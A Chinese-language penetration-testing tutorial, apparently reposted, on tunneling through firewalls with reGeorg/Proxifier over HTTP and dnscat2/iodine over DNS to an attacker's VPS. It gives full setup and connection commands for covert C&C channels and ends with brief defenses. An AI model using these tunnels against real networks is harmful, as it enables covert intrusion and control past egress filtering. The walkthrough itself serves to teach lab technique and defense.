内网渗透之应用层隧道技术(下)

摘要: 应用层中的隧道技术主要应用软件提供的端口来发送数据。常用的隧道技术协议有SSH,HTTP/HTTPS以及DNS

HTTP/HTTPS协议

HTTP Server代理用于将所有的流量转发到内网。常见的代理工具有reGeorg,meterpreter,tunna等。

reGeorg的主要功能是把内网服务器端口的数据通过的数据通过HTTP/HTTPS隧道转发到本机,实现基于HTTP协议的通信。reGeorg脚本的特征非常明显,很多杀毒软件都会对其进行查杀

reGeog+proxifier

这个手法的使用场景,就如文章中说的一样,防火墙DMZ区域映射外网端口80

学习一下这个手法该如何使用

实验环境:

win10(外网IP:192.168.1.9)
Web服务器(外网IP:192.168.1.26 内网IP:172.168.1.16)
并且使用m0n0wall防火墙设置成仅允许80端口出外网

下载reGeorg,github上就有,将适合目标服务器的脚本上传到服务器

执行如下命令

python reGeorgSocksProxy.py -p 9999 -u http://192.168.1.26/tunnel.php

执行该命令后,目标主机和本机的9999端口建立了http/https隧道。

这时候我们实际上已经和内网连通,使用proxifier代理经过9999端口的流量,那么我们使用proxifier代理的指定软件,指定端口的流量就会通过这条http隧道发给目标主机
参考:https://www.fujieace.com/penetration-test/regeorg-proxifier.html

设置代理服务器和规则

在指定的软件,比如cmd.exe右键,以proxifier代理方式使用

在目标主机有打开ssh服务的情况下,可以连接ssh服务

DNS协议

DNS隧道原理

DNS协议是域名解析协议,在域名和IP地址之间进行转换,该协议也是一种请求/应答协议,也是一种可用于应用层的隧道技术。DNS,ICMP,HTTP/HTTPS等难以禁用的协议已成为攻击者控制隧道的主流隧道

用于管理僵尸网络和进行APT攻击的服务器叫做C&C服务器(Command and Control Server,命令及控制服务器)。C&C节点分为两种,分别是C&C服务端(攻击者)和C&C客户端(被控制的计算机)。C&C通信是指植入C&C客户端的木马或后门程序与C&C服务端上的远程控制程序之间的通信。

DNS隧道工作的原理:在进行DNS查询时。如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠DNS协议即可进行数据包的交换。从DNS协议的角度看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上返回的可以是任意字符串,包括加密的C&C指令。

因为DNS在网络世界里不可或缺,所以基于可用性的考虑等,很难做到完全过滤DNS的流量。因此,攻击者可以利用它实现远程控制,文件传输等操作。

dnscat2

dnscat2隧道有两种模式,分别是直连模式和中继模式

直连模式:客户端直接指向IP地址的DNS服务器发起DNS解析请求

中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢

一般情况下,我们使用dnscat2的中继模式要更加频繁,因为直连模式的隐蔽性要更差一些。

当网段只允许白名单流量出站,同时屏蔽其他端口,传统的C&C通信无法建立。在这样的情况下,可以使用DNS隐蔽隧道建立通信。

演示如何使用dnscat2的中继模式

需要一个vps(阿里云vps) 一个域名

确保其NS解析能够正常工作

vps作为服务端,安装dnscat2服务端

apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2
cd server
sudo gem install bundler

运行dnscat2服务端

sudo ruby ./dnscat2.rb vps.****.top -e open -c cookie --no-cache

注:-e规定安全级别。"open" 表示服务端允许客户端不进行加密,-no-cache 禁止缓存,-c 自定义的连接密码

在目标主机上安装客户端。

本次测试使用的是windows7,直接在官方网可以下到编译好的客户端。

测试客户端是否能与服务端通信

dnscat2-v0.07-client-win32.exe --ping vps.****.top

执行如下命令,连接服务端

dnscat2-v0.07-client-win32.exe --dns domain=vps.****.top --secret cookie

iodine

 iodine可以通过一台DNS服务器制造一个IPV4数据通道,适合在目标主机只能发送DNS请求的网络中使用。其原理:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务端之间建立联系后,客户机上会多出一块名为'dns0'的网卡。

linux上直接apt-get install iodine完成安装

设置域名

安装后使用如下命令,服务端运行idine

iodined -f -c -P cookie 10.1.1.1 vps.c0okb.top --DD

安装客户端,下载地址:https://code.kryo.se/iodine/,运行如下命令

iodine -fP cookie vps.****.top


隧道建立成功,该DNS隧道的使用方法,如果访问目标主机ssh服务,直接ssh root@10.1.1.1,如果想访问远程桌面服务,在服务端执行mstsc 10.1.1.1:3389.

防御DNS隧道攻击

(1)只允许与受信任的DNS服务器通信

(2)将邮件服务器网关列入白名单并阻止传入和传出流量中的TXT请求

(3)跟踪用户的DNS查询次数,如果达到阈值,就生成相应报告

(4)阻止ICMP


原文来源:https://xz.aliyun.com/t/7956#toc-7

上一篇:CVE-2020-9484 ...
下一篇:F5 BIG-IP 远程代码...